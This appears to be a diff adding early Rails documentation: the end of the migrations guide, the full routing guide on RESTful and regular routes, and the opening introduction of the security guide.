+suppress_messages suppresses any output generated by its block
+
+
+
+
+say outputs text (the second argument controls whether it is indented or not)
+
+
+
+
+say_with_time outputs text along with how long it took to run its block. If the block returns an integer it assumes it is the number of rows affected.
+
+
+
+
For example, this migration
+
+
+
class CreateProducts < ActiveRecord::Migration
+ defself.up
+ suppress_messages do
+ create_table :products do|t|
+ t.string :name
+ t.text :description
+ t.timestamps
+ end
+ end
+ say "Created a table"
+ suppress_messages {add_index :products,:name}
+ say "and an index!",true
+ say_with_time 'Waiting for a while'do
+ sleep 10
+ 250
+ end
+ end
+
+ defself.down
+ drop_table :products
+ end
+end
+
+
generates the following output
+
+
+
== 20080906170109 CreateProducts: migrating ===================================
+-- Created a table
+ -> and an index!
+-- Waiting for a while
+ -> 10.0001s
+ -> 250 rows
+== 20080906170109 CreateProducts: migrated (10.0097s) =========================
+
+
If you just want Active Record to shut up then running rake db:migrate VERBOSE=false will suppress any output.
+
+
5. Using Models In Your Migrations
+
+
When creating or updating data in a migration it is often tempting to use one of your models. After all they exist to provide easy access to the underlying data. This can be done but some caution should be observed.
+
Consider for example a migration that uses the Product model to update a row in the corresponding table. Alice later updates the Product model, adding a new column and a validation on it. Bob comes back from holiday, updates the source and runs outstanding migrations with rake db:migrate, including the one that used the Product model. When the migration runs the source is up to date and so the Product model has the validation added by Alice. The database however is still old and so does not have that column and an error ensues because that validation is on a column that does not yet exist.
+
Frequently I just want to update rows in the database without writing out the SQL by hand: I'm not using anything specific to the model. One pattern for this is to define a copy of the model inside the migration itself, for example:
+
+
+
class AddPartNumberToProducts < ActiveRecord::Migration
+ class Product < ActiveRecord::Base
+ end
+
+ defself.up
+ ...
+ end
+
+ defself.down
+ ...
+ end
+end
+
+
The migration has its own minimal copy of the Product model and no longer cares about the Product model defined in the application.
+
5.1. Dealing with changing models
+
For performance reasons information about the columns a model has is cached. For example if you add a column to a table and then try and use the corresponding model to insert a new row it may try and use the old column information. You can force Active Record to re-read the column information with the reset_column_information method, for example
+
+
+
class AddPartNumberToProducts < ActiveRecord::Migration
+ class Product < ActiveRecord::Base
+ end
+
+ defself.up
+ add_column :product,:part_number,:string
+ Product.reset_column_information
+ ...
+ end
+
+ defself.down
+ ...
+ end
+end
+
+
+
6. Schema dumping and you
+
+
6.1. What are schema files for?
+
Migrations, mighty as they may be, are not the authoritative source for your database schema. That role falls to either schema.rb or an SQL file which Active Record generates by examining the database. They are not designed to be edited, they just represent the current state of the database.
+
There is no need (and it is error prone) to deploy a new instance of an app by replaying the entire migration history. It is much simpler and faster to just load into the database a description of the current schema.
+
For example, this is how the test database is created: the current development database is dumped (either to schema.rb or development.sql) and then loaded into the test database.
+
Schema files are also useful if you want a quick look at what attributes an Active Record object has. This information is not in the model's code and is frequently spread across several migrations but is all summed up in the schema file. The annotate_models plugin, which automatically adds (and updates) comments at the top of each model summarising the schema, may also be of interest.
+
6.2. Types of schema dumps
+
There are two ways to dump the schema. This is set in config/environment.rb by the config.active_record.schema_format setting, which may be either :sql or :ruby.
+
If :ruby is selected then the schema is stored in db/schema.rb. If you look at this file you'll find that it looks an awful lot like one very big migration:
In many ways this is exactly what it is. This file is created by inspecting the database and expressing its structure using create_table, add_index and so on. Because this is database independent it could be loaded into any database that Active Record supports. This could be very useful if you were to distribute an application that is able to run against multiple databases.
+
There is however a trade-off: schema.rb cannot express database specific items such as foreign key constraints, triggers or stored procedures. While in a migration you can execute custom SQL statements, the schema dumper cannot reconstitute those statements from the database. If you are using features like this then you should set the schema format to :sql.
+
Instead of using Active Record's schema dumper the database's structure will be dumped using a tool specific to that database (via the db:structure:dump Rake task) into db/#{RAILS_ENV}_structure.sql. For example for PostgreSQL the pg_dump utility is used and for MySQL this file will contain the output of SHOW CREATE TABLE for the various tables. Loading this schema is simply a question of executing the SQL statements contained inside.
+
By definition this will be a perfect copy of the database's structure but this will usually prevent loading the schema into a database other than the one used to create it.
+
6.3. Schema dumps and source control
+
Because they are the authoritative source for your database schema, it is strongly recommended that you check them into source control.
+
+
7. Active Record and Referential Integrity
+
+
The Active Record way is that intelligence belongs in your models, not in the database. As such, features such as triggers or foreign key constraints, which push some of that intelligence back into the database are not heavily used.
+
Validations such as validates_uniqueness_of are one way in which models can enforce data integrity. The :dependent option on associations allows models to automatically destroy child objects when the parent is destroyed. Like anything which operates at the application level these cannot guarantee referential integrity and so some people augment them with foreign key constraints.
+
Although Active Record does not provide any tools for working directly with such features, the execute method can be used to execute arbitrary SQL. There are also a number of plugins such as redhillonrails which add foreign key support to Active Record (including support for dumping foreign keys in schema.rb).
This guide covers the user-facing features of Rails routing. By referring to this guide, you will be able to:
+
+
+
+Understand the purpose of routing
+
+
+
+
+Decipher the code in routes.rb
+
+
+
+
+Construct your own routes, using either the classic hash style or the now-preferred RESTful style
+
+
+
+
+Identify how a route will map to a controller and action
+
+
+
+
+
+
1. The Dual Purpose of Routing
+
+
Rails routing is a two-way piece of machinery - rather as if you could turn trees into paper, and then turn paper back into trees. Specifically, it both connects incoming HTTP requests to the code in your application's controllers, and helps you generate URLs without having to hard-code them as strings.
+
1.1. Connecting URLs to Code
+
When your Rails application receives an incoming HTTP request, say
+
+
+
GET /patients/17
+
+
the routing engine within Rails is the piece of code that dispatches the request to the appropriate spot in your application. In this case, the application would most likely end up running the show action within the patients controller, displaying the details of the patient whose ID is 17.
+
1.2. Generating URLs from Code
+
Routing also works in reverse. If your application contains this code:
Then the routing engine is the piece that translates that to a link to a URL such as http://example.com/patients/17. By using routing in this way, you can reduce the brittleness of your application as compared to one with hard-coded URLs, and make your code easier to read and understand.
+
+
+
+
+
+
Patient needs to be declared as a resource for this style of translation via a named route to be available.
+
+
+
+
2. Quick Tour of Routes.rb
+
+
There are two components to routing in Rails: the routing engine itself, which is supplied as part of Rails, and the file config/routes.rb, which contains the actual routes that will be used by your application. Learning exactly what you can put in routes.rb is the main topic of this guide, but before we dig in let's get a quick overview.
+
2.1. Processing the File
+
In format, routes.rb is nothing more than one big block sent to ActionController::Routing::Routes.draw. Within this block, you can have comments, but it's likely that most of your content will be individual lines of code - each line being a route in your application. You'll find five main types of content in this file:
+
+
+
+RESTful Routes
+
+
+
+
+Named Routes
+
+
+
+
+Nested Routes
+
+
+
+
+Regular Routes
+
+
+
+
+Default Routes
+
+
+
+
Each of these types of route is covered in more detail later in this guide.
+
The routes.rb file is processed from top to bottom when a request comes in. The request will be dispatched to the first matching route. If there is no matching route, then Rails returns HTTP status 404 to the caller.
+
2.2. RESTful Routes
+
RESTful routes take advantage of the built-in REST orientation of Rails to wrap up a lot of routing information in a single declaration. A RESTful route looks like this:
+
+
+
map.resources :books
+
+
2.3. Named Routes
+
Named routes give you very readable links in your code, as well as handling incoming requests. Here's a typical named route:
Nested routes let you declare that one resource is contained within another resource. You'll see later on how this translates to URLs and paths in your code. For example, if your application includes parts, each of which belongs to an assembly, you might have this nested route declaration:
These default routes are automatically generated when you create a new Rails application. If you're using RESTful routing for everything in your application, you will probably want to remove them. But be sure you're not using the default routes before you remove them!
+
+
3. RESTful Routing: the Rails Default
+
+
RESTful routing is the current standard for routing in Rails, and it's the one that you should prefer for new applications. It can take a little while to understand how RESTful routing works, but it's worth the effort; your code will be easier to read and you'll be working with Rails, rather than fighting against it, when you use this style of routing.
+
3.1. What is REST?
+
The foundation of RESTful routing is generally considered to be Roy Fielding's doctoral thesis, Architectural Styles and the Design of Network-based Software Architectures. Fortunately, you need not read this entire document to understand how REST works in Rails. REST, an acronym for Representational State Transfer, boils down to two main principles for our purposes:
+
+
+
+Using resource identifiers (which, for the purposes of discussion, you can think of as URLs) to represent resources
+
+
+
+
+Transferring representations of the state of that resource between system components.
+
+
+
+
For example, to a Rails application a request such as this:
+
DELETE /photos/17
+
would be understood to refer to a photo resource with the ID of 17, and to indicate a desired action - deleting that resource. REST is a natural style for the architecture of web applications, and Rails makes it even more natural by using conventions to shield you from some of the RESTful complexities.
+
3.2. CRUD, Verbs, and Actions
+
In Rails, a RESTful route provides a mapping between HTTP verbs, controller actions, and (implicitly) CRUD operations in a database. A single entry in the routing file, such as
+
+
+
map.resources :photos
+
+
creates seven different routes in your application:
+
+
+
+
+
+
+
+
+
+
+ HTTP verb
+
+
+ URL
+
+
+ controller
+
+
+ action
+
+
+ used for
+
+
+
+
+
+
+ GET
+
+
+ /photos
+
+
+ Photos
+
+
+ index
+
+
+ display a list of all photos
+
+
+
+
+ GET
+
+
+ /photos/new
+
+
+ Photos
+
+
+ new
+
+
+ return an HTML form for creating a new photo
+
+
+
+
+ POST
+
+
+ /photos
+
+
+ Photos
+
+
+ create
+
+
+ create a new photo
+
+
+
+
+ GET
+
+
+ /photos/1
+
+
+ Photos
+
+
+ show
+
+
+ display a specific photo
+
+
+
+
+ GET
+
+
+ /photos/1/edit
+
+
+ Photos
+
+
+ edit
+
+
+ return an HTML form for editing a photo
+
+
+
+
+ PUT
+
+
+ /photos/1
+
+
+ Photos
+
+
+ update
+
+
+ update a specific photo
+
+
+
+
+ DELETE
+
+
+ /photos/1
+
+
+ Photos
+
+
+ destroy
+
+
+ delete a specific photo
+
+
+
+
+
+
For the specific routes (those that reference just a single resource), the identifier for the resource will be available within the corresponding controller action as params[:id].
+
+
+
+
+
+
If you consistently use RESTful routes in your application, you should disable the default routes in routes.rb so that Rails will enforce the mapping between HTTP verbs and routes.
+
+
+
3.3. URLs and Paths
+
Creating a RESTful route will also make available a pile of helpers within your application:
+
+
+
+photos_url and photos_path map to the path for the index and create actions
+
+
+
+
+new_photo_url and new_photo_path map to the path for the new action
+
+
+
+
+edit_photo_url and edit_photo_path map to the path for the edit action
+
+
+
+
+photo_url and photo_path map to the path for the show, update, and destroy actions
+
+
+
+
+
+
+
+
+
Because routing makes use of the HTTP verb as well as the path in the request to dispatch requests, the seven routes generated by a RESTful routing entry only give rise to four pairs of helpers.
+
+
+
In each case, the _url helper generates a string containing the entire URL that the application will understand, while the _path helper generates a string containing the relative path from the root of the application. For example:
If you need to create routes for more than one RESTful resource, you can save a bit of typing by defining them all with a single call to map.resources:
You can also apply RESTful routing to singleton resources within your application. In this case, you use map.resource instead of map.resources and the route generation is slightly different. For example, a routing entry of
+
+
+
map.resource :geocoder
+
+
creates six different routes in your application:
+
+
+
+
+
+
+
+
+
+
+ HTTP verb
+
+
+ URL
+
+
+ controller
+
+
+ action
+
+
+ used for
+
+
+
+
+
+
+ GET
+
+
+ /geocoder/new
+
+
+ Geocoders
+
+
+ new
+
+
+ return an HTML form for creating the new geocoder
+
+
+
+
+ POST
+
+
+ /geocoder
+
+
+ Geocoders
+
+
+ create
+
+
+ create the new geocoder
+
+
+
+
+ GET
+
+
+ /geocoder
+
+
+ Geocoders
+
+
+ show
+
+
+ display the one and only geocoder resource
+
+
+
+
+ GET
+
+
+ /geocoder/edit
+
+
+ Geocoders
+
+
+ edit
+
+
+ return an HTML form for editing the geocoder
+
+
+
+
+ PUT
+
+
+ /geocoder
+
+
+ Geocoders
+
+
+ update
+
+
+ update the one and only geocoder resource
+
+
+
+
+ DELETE
+
+
+ /geocoder
+
+
+ Geocoders
+
+
+ destroy
+
+
+ delete the geocoder resource
+
+
+
+
+
+
+
+
+
+
+
Even though the name of the resource is singular in routes.rb, the matching controller is still plural.
+
+
+
A singular RESTful route generates an abbreviated set of helpers:
+
+
+
+new_geocoder_url and new_geocoder_path map to the path for the new action
+
+
+
+
+edit_geocoder_url and edit_geocoder_path map to the path for the edit action
+
+
+
+
+geocoder_url and geocoder_path map to the path for the create, show, update, and destroy actions
+
+
+
+
3.6. Customizing Resources
+
Although the conventions of RESTful routing are likely to be sufficient for many applications, there are a number of ways to customize the way that RESTful routes work. These options include:
+
+
+
+:controller
+
+
+
+
+:singular
+
+
+
+
+:requirements
+
+
+
+
+:conditions
+
+
+
+
+:as
+
+
+
+
+:path_names
+
+
+
+
+:path_prefix
+
+
+
+
+:name_prefix
+
+
+
+
+:only
+
+
+
+
+:except
+
+
+
+
You can also add additional routes via the :member and :collection options, which are discussed later in this guide.
+
3.6.1. Using :controller
+
The :controller option lets you use a controller name that is different from the public-facing resource name. For example, this routing entry:
+
+
+
map.resources :photos,:controller =>"images"
+
+
will recognize incoming URLs containing photo but route the requests to the Images controller:
+
+
+
+
+
+
+
+
+
+
+ HTTP verb
+
+
+ URL
+
+
+ controller
+
+
+ action
+
+
+ used for
+
+
+
+
+
+
+ GET
+
+
+ /photos
+
+
+ Images
+
+
+ index
+
+
+ display a list of all images
+
+
+
+
+ GET
+
+
+ /photos/new
+
+
+ Images
+
+
+ new
+
+
+ return an HTML form for creating a new image
+
+
+
+
+ POST
+
+
+ /photos
+
+
+ Images
+
+
+ create
+
+
+ create a new image
+
+
+
+
+ GET
+
+
+ /photos/1
+
+
+ Images
+
+
+ show
+
+
+ display a specific image
+
+
+
+
+ GET
+
+
+ /photos/1/edit
+
+
+ Images
+
+
+ edit
+
+
+ return an HTML form for editing a image
+
+
+
+
+ PUT
+
+
+ /photos/1
+
+
+ Images
+
+
+ update
+
+
+ update a specific image
+
+
+
+
+ DELETE
+
+
+ /photos/1
+
+
+ Images
+
+
+ destroy
+
+
+ delete a specific image
+
+
+
+
+
+
+
+
+
+
+
The helpers will be generated with the name of the resource, not the name of the controller. So in this case, you'd still get photos_path, new_photo_path, and so on.
+
+
+
3.7. Controller Namespaces and Routing
+
Rails allows you to group your controllers into namespaces by saving them in folders underneath app/controllers. The :controller option provides a convenient way to use these routes. For example, you might have a resource whose controller is purely for admin users in the admin folder:
If you use controller namespaces, you need to be aware of a subtlety in the Rails routing code: it always tries to preserve as much of the namespace from the previous request as possible. For example, if you are on a view generated from the adminphoto_path helper, and you follow a link generated with <%= link_to "show", adminphoto(1) %> you will end up on the view generated by admin/photos/show but you will also end up in the same place if you have <%= link_to "show", {:controller ⇒ "photos", :action ⇒ "show"} %> because Rails will generate the show URL relative to the current URL.
+
+
+
+
+
+
If you want to guarantee that a link goes to a top-level controller, use a preceding slash to anchor the controller name: <%= link_to "show", {:controller ⇒ "/photos", :action ⇒ "show"} %>
+
+
+
You can also specify a controller namespace with the :namespace option instead of a path:
That would give you routing for admin/photos and admin/videos controllers.
+
3.7.1. Using :singular
+
If for some reason Rails isn't doing what you want in converting the plural resource name to a singular name in member routes, you can override its judgment with the :singular option:
+
+
+
map.resources :teeth,:singular =>"tooth"
+
+
+
+
+
+
+
Depending on the other code in your application, you may prefer to add additional rules to the Inflector class instead.
+
+
+
3.7.2. Using :requirements
+
You an use the :requirements option in a RESTful route to impose a format on the implied :id parameter in the singular routes. For example:
This declaration constrains the :id parameter to match the supplied regular expression. So, in this case, /photos/1 would no longer be recognized by this route, but /photos/RR27 would.
+
3.7.3. Using :conditions
+
Conditions in Rails routing are currently used only to set the HTTP verb for individual routes. Although in theory you can set this for RESTful routes, in practice there is no good reason to do so. (You'll learn more about conditions in the discussion of classic routing later in this guide.)
+
3.7.4. Using :as
+
The :as option lets you override the normal naming for the actual generated paths. For example:
+
+
+
map.resources :photos,:as =>"images"
+
+
will recognize incoming URLs containing image but route the requests to the Photos controller:
+
+
+
+
+
+
+
+
+
+
+ HTTP verb
+
+
+ URL
+
+
+ controller
+
+
+ action
+
+
+ used for
+
+
+
+
+
+
+ GET
+
+
+ /images
+
+
+ Photos
+
+
+ index
+
+
+ display a list of all photos
+
+
+
+
+ GET
+
+
+ /images/new
+
+
+ Photos
+
+
+ new
+
+
+ return an HTML form for creating a new photo
+
+
+
+
+ POST
+
+
+ /images
+
+
+ Photos
+
+
+ create
+
+
+ create a new photo
+
+
+
+
+ GET
+
+
+ /images/1
+
+
+ Photos
+
+
+ show
+
+
+ display a specific photo
+
+
+
+
+ GET
+
+
+ /images/1/edit
+
+
+ Photos
+
+
+ edit
+
+
+ return an HTML form for editing a photo
+
+
+
+
+ PUT
+
+
+ /images/1
+
+
+ Photos
+
+
+ update
+
+
+ update a specific photo
+
+
+
+
+ DELETE
+
+
+ /images/1
+
+
+ Photos
+
+
+ destroy
+
+
+ delete a specific photo
+
+
+
+
+
+
+
+
+
+
+
The helpers will be generated with the name of the resource, not the path name. So in this case, you'd still get photos_path, new_photo_path, and so on.
+
+
+
3.7.5. Using :path_names
+
The :path_names option lets you override the automatically-generated "new" and "edit" segments in URLs:
The :path_prefix option lets you add additional parameters that will be prefixed to the recognized paths. For example, suppose each photo in your application belongs to a particular photographer. In that case, you might declare this route:
In most cases, it's simpler to recognize URLs of this sort by creating nested resources, as discussed in the next section.
+
+
+
+
+
+
+
+
You can also use :path_prefix with non-RESTful routes.
+
+
+
3.7.7. Using :name_prefix
+
You can use the :name_prefix option to avoid collisions between routes. This is most useful when you have two resources with the same name that use :path_prefix to map differently. For example:
This combination will give you route helpers such as photographer_photos_path and agency_edit_photo_path to use in your code.
+
+
+
+
+
+
You can also use :name_prefix with non-RESTful routes.
+
+
+
3.7.8. Using :only and :except
+
By default, Rails creates routes for all seven of the default actions (index, show, new, create, edit, update, and destroy) for every RESTful route in your application. You can use the :only and :except options to fine-tune this behavior. The :only option specifies that only certain routes should be generated:
+
+
+
map.resources :photos,:only =>[:index,:show]
+
+
With this declaration, a GET request to /photos would succeed, but a POST request to /photos (which would ordinarily be routed to the create action) will fail.
+
The :except option specifies a route or list of routes that should not be generated:
+
+
+
map.resources :photos,:except =>:destroy
+
+
In this case, all of the normal routes except the route for destroy (a DELETE request to /photos/id) will be generated.
+
In addition to an action or a list of actions, you can also supply the special symbols :all or :none to the :only and :except options.
+
+
+
+
+
+
If your application has many RESTful routes, using :only and :accept to generate only the routes that you actually need can cut down on memory use and speed up the routing process.
+
+
+
3.8. Nested Resources
+
It's common to have resources that are logically children of other resources. For example, suppose your application includes these models:
+
+
+
class Magazine < ActiveRecord::Base
+ has_many :ads
+end
+
+class Ad < ActiveRecord::Base
+ belongs_to :magazine
+end
+
+
Each ad is logically subservient to one magazine. Nested routes allow you to capture this relationship in your routing. In this case, you might include this route declaration:
In addition to the routes for magazines, this declaration will also create routes for ads, each of which requires the specification of a magazine in the URL:
+
+
+
+
+
+
+
+
+
+
+ HTTP verb
+
+
+ URL
+
+
+ controller
+
+
+ action
+
+
+ used for
+
+
+
+
+
+
+ GET
+
+
+ /magazines/1/ads
+
+
+ Ads
+
+
+ index
+
+
+ display a list of all ads for a specific magazine
+
+
+
+
+ GET
+
+
+ /magazines/1/ads/new
+
+
+ Ads
+
+
+ new
+
+
+ return an HTML form for creating a new ad belonging to a specific magazine
+
+
+
+
+ POST
+
+
+ /magazines/1/ads
+
+
+ Ads
+
+
+ create
+
+
+ create a new ad belonging to a specific magazine
+
+
+
+
+ GET
+
+
+ /magazines/1/ads/1
+
+
+ Ads
+
+
+ show
+
+
+ display a specific ad belonging to a specific magazine
+
+
+
+
+ GET
+
+
+ /magazines/1/ads/1/edit
+
+
+ Ads
+
+
+ edit
+
+
+ return an HTML form for editing an ad belonging to a specific magazine
+
+
+
+
+ PUT
+
+
+ /magazines/1/ads/1
+
+
+ Ads
+
+
+ update
+
+
+ update a specific ad belonging to a specific magazine
+
+
+
+
+ DELETE
+
+
+ /magazines/1/ads/1
+
+
+ Ads
+
+
+ destroy
+
+
+ delete a specific ad belonging to a specific magazine
+
+
+
+
+
+
This will also create routing helpers such as magazine_ads_url and edit_magazine_ad_path.
+
3.8.1. Using :name_prefix
+
The :name_prefix option overrides the automatically-generated prefix in nested route helpers. For example,
This will create routing helpers such as periodical_ads_url and periodical_edit_ad_path. You can even use :name_prefix to suppress the prefix entirely:
This will create routing helpers such as ads_url and edit_ad_path. Note that calling these will still require supplying an article id:
+
+
+
ads_url(@magazine)
+edit_ad_path(@magazine,@ad)
+
+
3.8.2. Using :has_one and :has_many
+
The :has_one and :has_many options provide a succinct notation for simple nested routes. Use :has_one to nest a singleton resource, or :has_many to nest a plural resource:
However, without the use of name_prefix ⇒ nil, deeply-nested resources quickly become cumbersome. In this case, for example, the application would recognize URLs such as
+
+
+
/publishers/1/magazines/2/photos/3
+
+
The corresponding route helper would be publisher_magazine_photo_url, requiring you to specify objects at all three levels. Indeed, this situation is confusing enough that a popular article by Jamis Buck proposes a rule of thumb for good Rails design:
+
Resources should never be nested more than 1 level deep.
+
3.8.4. Shallow Nesting
+
The :shallow option provides an elegant solution to the difficulties of deeply-nested routes. If you specify this option at any level of routing, then paths for nested resources which reference a specific member (that is, those with an :id parameter) will not use the parent path prefix or name prefix. To see what this means, consider this set of routes:
With shallow nesting, you need only supply enough information to uniquely identify the resource that you want to work with. If you like, you can combine shallow nesting with the :has_one and :has_many options:
In addition to using the generated routing helpers, Rails can also generate RESTful routes from an array of parameters. For example, suppose you have a set of routes generated with these entries in routes.rb:
Another way to refer to the same route is with an array of objects:
+
+
+
<%= link_to "Ad details", [@magazine, @ad] %>
+
+
This format is especially useful when you might not know until runtime which of several types of object will be used in a particular link.
+
3.10. Namespaced Resources
+
It's possible to do some quite complex things by combining :path_prefix and :name_prefix. For example, you can use the combination of these two options to move administrative resources to their own folder in your application:
The good news is that if you find yourself using this level of complexity, you can stop. Rails supports namespaced resources to make placing resources in their own folder a snap. Here's the namespaced version of those same three routes:
As you can see, the namespaced version is much more succinct than the one that spells everything out - but it still creates the same routes. For example, you'll get admin_photos_url that expects to find an Admin::PhotosController and that matches admin/photos, and admin_photos_ratings_path that matches /admin/photos/photo_id/ratings, expecting to use Admin::RatingsController. Even though you're not specifying path_prefix explicitly, the routing code will calculate the appropriate path_prefix from the route nesting.
+
3.11. Adding More RESTful Actions
+
You are not limited to the seven routes that RESTful routing creates by default. If you like, you may add additional member routes (those which apply to a single instance of the resource), additional new routes (those that apply to creating a new resource), or additional collection routes (those which apply to the collection of resources as a whole).
This will enable Rails to recognize URLs such as /photos/1/preview using the GET HTTP verb, and route them to the preview action of the Photos controller. It will also create a preview_photo route helper.
+
Within the hash of member routes, each route name specifies the HTTP verb that it will recognize. You can use :get, :put, :post, :delete, or :any here. You can also specify an array of methods, if you need more than one but you don't want to allow just anything:
This will enable Rails to recognize URLs such as /photos/search using the GET HTTP verb, and route them to the search action of the Photos controller. It will also create a search_photos route helper.
+
Just as with member routes, you can specify an array of methods for a collection route:
To add a new route (one that creates a new resource), use the :new option:
+
+
+
map.resources :photos,:new =>{:upload =>:post }
+
+
This will enable Rails to recognize URLs such as /photos/upload using the POST HTTP verb, and route them to the upload action of the Photos controller. It will also create a upload_photos route helper.
+
+
+
+
+
+
If you want to redefine the verbs accepted by one of the standard actions, you can do so by explicitly mapping that action. For example:
+
+
+
+
+
map.resources :photos,:new =>{:new =>:any }
+
+
This will allow the new action to be invoked by any request to photos/new, no matter what HTTP verb you use.
+
3.11.4. A Note of Caution
+
If you find yourself adding many extra actions to a RESTful route, it's time to stop and ask yourself whether you're disguising the presence of another resource that would be better split off on its own. When the :member and :collection hashes become a dumping-ground, RESTful routes lose the advantage of easy readability that is one of their strongest points.
+
+
4. Regular Routes
+
+
In addition to RESTful routing, Rails supports regular routing - a way to map URLs to controllers and actions. With regular routing, you don't get the masses of routes automatically generated by RESTful routing. Instead, you must set up each route within your application separately.
+
While RESTful routing has become the Rails standard, there are still plenty of places where the simpler regular routing works fine. You can even mix the two styles within a single application. In general, you should prefer RESTful routing when possible, because it will make parts of your application easier to write. But there's no need to try to shoehorn every last piece of your application into a RESTful framework if that's not a good fit.
+
4.1. Bound Parameters
+
When you set up a regular route, you supply a series of symbols that Rails maps to parts of an incoming HTTP request. Two of these symbols are special: :controller maps to the name of a controller in your application, and :action maps to the name of an action within that controller. For example, consider one of the default Rails routes:
+
+
+
map.connect ':controller/:action/:id'
+
+
If an incoming request of /photos/show/1 is processed by this route (because it hasn't matched any previous route in the file), then the result will be to invoke the show action of the Photos controller, and to make the final parameter (1) available as params[:id].
+
4.2. Wildcard Components
+
You can set up as many wildcard symbols within a regular route as you like. Anything other than :controller or :action will be available to the matching action as part of the params hash. So, if you set up this route:
+
+
+
map.connect ':controller/:action/:id/:user_id'
+
+
An incoming URL of /photos/show/1/2 will be dispatched to the show action of the Photos controller. params[:id] will be set to 1, and params[:user_id] will be set to 2.
+
4.3. Static Text
+
You can specify static text when creating a route. In this case, the static text is used only for matching the incoming requests:
This route would respond to URLs such as /photos/show/1/with_user/2.
+
4.4. Querystring Parameters
+
Rails routing automatically picks up querystring parameters and makes them available in the params hash. For example, with this route:
+
+
+
map.connect ':controller/:action/:id'
+
+
An incoming URL of /photos/show/1?user_id=2 will be dispatched to the show action of the Photos controller. params[:id] will be set to 1, and params[:user_id] will be equal to 2.
+
4.5. Defining Defaults
+
You do not need to explicitly use the :controller and :action symbols within a route. You can supply defaults for these two parameters in a hash:
With this route, an incoming URL of /photos/12 would be dispatched to the show action within the Photos controller.
+
You an also define other defaults in a route by supplying a hash for the :defaults option. This even applies to parameters that are not explicitly defined elsewhere in the route. For example:
With this route, an incoming URL of photos/12 would be dispatched to the show action within the Photos controller, and params[:format] will be set to jpg.
+
4.6. Named Routes
+
Regular routes need not use the connect method. You can use any other name here to create a named route. For example,
This will do two things. First, requests to /logout will be sent to the destroy method of the Sessions controller. Second, Rails will maintain the logout_path and logout_url helpers for use within your code.
+
4.7. Route Requirements
+
You can use the :requirements option to enforce a format for any parameter in a route:
Route conditions (introduced with the :conditions option) are designed to implement restrictions on routes. Currently, the only supported restriction is :method:
As with conditions in RESTful routes, you can specify :get, :post, :put, :delete, or :any for the acceptable method.
+
4.9. Route Globbing
+
Route globbing is a way to specify that a particular parameter (which must be the last parameter in the route) should be matched to all the remaining parts of a route. For example
The importance of map.with_options has declined with the introduction of RESTful routes.
+
+
5. Formats and respond_to
+
+
There's one more way in which routing can do different things depending on differences in the incoming HTTP request: by issuing a response that corresponds to what the request specifies that it will accept. In Rails routing, you can control this with the special :format parameter in the route.
+
For instance, consider the second of the default routes in the boilerplate routes.rb file:
+
+
+
map.connect ':controller/:action/:id.:format'
+
+
This route matches requests such as /photo/edit/1.xml or /photo/show/2.rss. Within the appropriate action code, you can issue different responses depending on the requested format:
+
+
+
respond_to do|format|
+ format.html # return the default template for HTML
+ format.xml { render :xml =>@photo.to_xml }
+end
+
+
5.1. Specifying the Format with an HTTP Header
+
If there is no :format parameter in the route, Rails will automatically look at the HTTP Accept header to determine the desired format.
+
5.2. Recognized MIME types
+
By default, Rails recognizes html, text, json, csv, xml, rss, atom, and yaml as acceptable response types. If you need types beyond this, you can register them in your environment:
+
+
+
Mime::Type.register "image/jpg",:jpg
+
+
+
6. The Default Routes
+
+
When you create a new Rails application, routes.rb is initialized with two default routes:
These routes provide reasonable defaults for many URLs, if you're not using RESTful routing.
+
+
+
+
+
+
The default routes will make every action of every controller in your application accessible to GET requests. If you've designed your application to make consistent use of RESTful and named routes, you should comment out the default routes to prevent access to your controllers through the wrong verbs. If you've had the default routes enabled during development, though, you need to be sure that you haven't unwittingly depended on them somewhere in your application - otherwise you may find mysterious failures when you disable them.
+
+
+
+
7. The Empty Route
+
+
Don't confuse the default routes with the empty route. The empty route has one specific purpose: to route requests that come in to the root of the web site. For example, if your site is example.com, then requests to http://example.com or http://example.com/ will be handled by the empty route.
+
7.1. Using map.root
+
The preferred way to set up the empty route is with the map.root command:
+
+
+
map.root :controller =>"pages",:action =>"main"
+
+
The use of the root method tells Rails that this route applies to requests for the root of the site.
+
For better readability, you can specify an already-created route in your call to map.root:
If the empty route does not seem to be working in your application, make sure that you have deleted the file public/index.html from your Rails tree.
+
+
+
+
8. Inspecting and Testing Routes
+
+
Routing in your application should not be a "black box" that you never open. Rails offers built-in tools for both inspecting and testing routes.
+
8.1. Seeing Existing Routes with rake
+
If you want a complete list of all of the available routes in your application, run the rake routes command. This will dump all of your routes to the console, in the same order that they appear in routes.rb. For each route, you'll see:
+
+
+
+The route name (if any)
+
+
+
+
+The HTTP verb used (if the route doesn't respond to all verbs)
+
+
+
+
+The URL pattern
+
+
+
+
+The routing parameters that will be generated by this URL
+
+
+
+
For example, here's a small section of the rake routes output for a RESTful route:
+
+
+
users GET /users {:controller=>"users", :action=>"index"}
+formatted_users GET /users.:format {:controller=>"users", :action=>"index"}
+ POST /users {:controller=>"users", :action=>"create"}
+ POST /users.:format {:controller=>"users", :action=>"create"}
+
+
+
+
+
+
+
You'll find that the output from rake routes is much more readable if you widen your terminal window until the output lines don't wrap.
+
+
+
8.2. Testing Routes
+
Routes should be included in your testing strategy (just like the rest of your application). Rails offers three built-in assertions designed to make testing routes simpler:
+
+
+
+assert_generates
+
+
+
+
+assert_recognizes
+
+
+
+
+assert_routing
+
+
+
+
8.2.1. The assert_generates Assertion
+
Use assert_generates to assert that a particular set of options generate a particular path. You can use this with default routes or custom routes
The assert_recognizes assertion is the inverse of assert_generates. It asserts that Rails recognizes the given path and routes it to a particular spot in your application.
The assert_routing assertion checks the route both ways: it tests that the path generates the options, and that the options generate the path. Thus, it combines the functions of assert_generates and assert_recognizes.
This manual describes common security problems in web applications and how to avoid them with Rails. If you have any questions or suggestions, please
+mail me, Heiko Webers, at 42 {et} rorsecurity.info. After reading it, you should be familiar with:
+
+
+
+All countermeasures that are highlighted
+
+
+
+
+The concept of sessions in Rails, what to put in there and popular attack methods
+
+
+
+
+How just visiting a site can be a security problem (with CSRF)
+
+
+
+
+What you have to pay attention to when working with files or providing an administration interface
+
+
+
+
+The Rails-specific mass assignment problem
+
+
+
+
+How to manage users: Logging in and out and attack methods on all layers
+
+
+
+
+And the most popular injection attack methods
+
+
+
+
+
+
1. Introduction
+
+
Web application frameworks are made to help developers building web applications. Some of them also help you with securing the web application. In fact one framework is not more secure than another: If you use it correctly, you will be able to build secure apps with many frameworks. Ruby on Rails has some clever helper methods, for example against SQL injection, so that this is hardly a problem. It‘s nice to see that all of the Rails applications I audited had a good level of security.
+
